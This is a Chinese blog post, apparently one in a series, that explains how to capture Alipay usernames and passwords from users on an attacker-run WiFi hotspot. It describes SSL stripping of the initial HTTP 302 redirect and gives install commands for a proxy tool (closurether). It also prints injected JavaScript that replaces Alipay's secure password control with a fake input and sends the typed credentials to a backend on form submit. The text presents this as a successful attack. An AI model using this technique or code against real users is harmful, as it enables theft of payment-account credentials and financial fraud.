WiFi流量劫持—— 截获支付宝账号

前两篇讲述了长缓存投毒的原理和实现。用户只要在我们的wifi下随便看个网页,就能植入一堆超长潜伏期的后门脚本。

究其原因,还是因为登陆页面的安全性不够。明文传输的网页,总是能轻而易举的注入脚本代码,因此存在风险也就不足为奇。

所以在必要的场合使用HTTPS加密传输,就能完全避免这类安全隐患。这意味着我们的入侵脚本对HTTPS无能为力了吗?

如果从数据解密的角度来说,确实如此。

尽管流量完全在我们的掌控之中,然而用户的私钥却在自己的内存里。我们只能眼睁睁的看着一个被锁着的保险箱在移来移去,却不知道里面藏着什么。

当然,这也不代表完全不能获取HTTPS里的数据。如果我们给想入侵的网站伪造一个证书,于是就能用自己的公钥换来用户的私钥,于是就能。。。

这么伟大的想法也只有天朝GFW才会用,最终的结果就是在地址栏上一个醒目的红叉:无效的证书!给用户一个莫大的惊喜。

(Chrome下无效证书)

除此之外,再也没有解开HTTPS数据的办法。数据都没法解开,更不用说修改了。

到此,我们的HTTPS脚本投毒计划彻底泡汤了。

但!是!这并不意味我们不能得到用户的信息:我们虽然解不开HTTPS的数据,但可以让用户别进HTTPS的站点。——这句话很奇怪吗?

仔细回想一下 ,你上支付宝网站难道是在地址栏里一个字一个字的敲入https://...然后回车的吗?显示不是,相信绝大多数人直接从www开始输入,然后敲完www.alipay.com就进入了。

浏览器又是怎么知道www.alipay.com这个一个HTTPS站点呢。调出控制台观察:

显然第一次请求是当普通的网站来访问的。这个普通的网站确实也存在,但唯一的功能就是把用户重定向到HTTPS的站点下。于是我们在地址栏里看到的就是HTTPS版的支付宝页面了。

仔细在看的话,或许你已经看出破绽来了:最开始的HTTP302重定向是明文传输的!我们完全可以把用户重定向到其他网站上去~ 当然这么做或许太明显了,即使做一个克隆版的支付宝页面,多多少少都有一些山寨的痕迹,很容易被用户察觉。

为了能有更强的隐蔽性,我们直接使用支付宝默认的资源。通过我们的node程序,来实现 (用户HTTP) <=>  我们的代理 <=> (支付宝HTTPS)。

node自带了HTTPS请求模块,并且接口和HTTP完全一致,我们可以用很少的代码把两者桥接起来。

我们只需在上一篇Demo的基础上,增加HTTP 302的判断即可。如果服务器要求重定向到HTTPS网站,那么这个应答就不返回给用户了,而是模拟用户去访问HTTPS资源,收到数据后再回复给用户。因此,在用户看来,整个网站始终都是HTTP站点。因为返回给用户的是明文的HTTP数据,于是我们又可以在网页里注入脚本了!

到此,HTTPS页面注入原理已成形。虽然不能实现缓存投毒,但用户还在我们流量内的时候,我们仍能毫无阻挡的入侵。

下面就来测试一下:

Demo: https://github.com/EtherDream/closurether

$ npm install -g closurether
$ closurether

和上次一样,让另一台电脑连上我们的热点。

我们在项目的asset\inject\extern.js里加上alert(‘Hello World’),看看打开支付宝网站的情况:

完美运行了注入的脚本!一共弹出了两次,因为里面还有个内嵌的网页~

下面就和昨天捕捉网易账号一样的方法,获取用户名和密码。不过值得注意的是,支付宝的密码输入框并不是一个普通的HTML文本框,而是一个特殊插件。平时装完系统,第一次上支付宝要安装插件,就是这个所谓的安全支付控件。

说安全果然名不虚传,在这个控件里敲入密码不会产生任何消息事件,想用DOM事件来监听输入完全就是天方夜谭。

但输完密码终将要把值返回给网页提交吧,经过一番断点跟踪分析折腾,控件返回给网页的并非是真正的密码值,而是经过不可逆加密后的密码(原始密码早就在内存里销毁了)。

看来要想破解这个控件难度很大。不过我们仅仅为了得到用户的用户名和密码而已,至于能不能正常登陆上不用管。因此,我们只需自己创建一个HTML文本框,外观做的和他完全一样,然后替换掉就行了。

var $ = function(v){return document.querySelector(v)};

$('.alieditContainer').innerHTML =
    '<input type="password" id="pwd" style="width:100%;border:double 3px #ccc" />';

这里演示而已,做的还不是很像:)

然后监听表单提交事件:

复制代码
$('form').addEventListener('submit', function(){
    var usr = $('#logonId').value;
    var pwd = $('#pwd').value;

    alert('User: ' + usr + '\n' + 'Pwd: ' + pwd);
    post(usr, pwd);
});
复制代码

 

和上一篇一样,用把用户名密码发送到后台php上。重新打开支付宝,完整的登陆一次:

山寨的输入框绕过了安全支付控件,密码一览无余。再来看看我们后台:

成功捕获到了支付宝的账号和密码。

到此大功告成!

当然,因为没在真正的控件里填密码,用户登陆肯定总是失败的。因此,我们还可以考虑之后不再劫持这个用户的支付宝页面,让他能正常使用。

虽然效果没有像缓存投毒那样长期控制,但至少在当下,能获取更有价值的信息了。

能否既实现安全页面的注入,又能像长缓存那样在未来触发呢?请听下回分解:《WiFi流量劫持 —— HTML5离线储存投毒》

Tagged: ,

Comments are closed.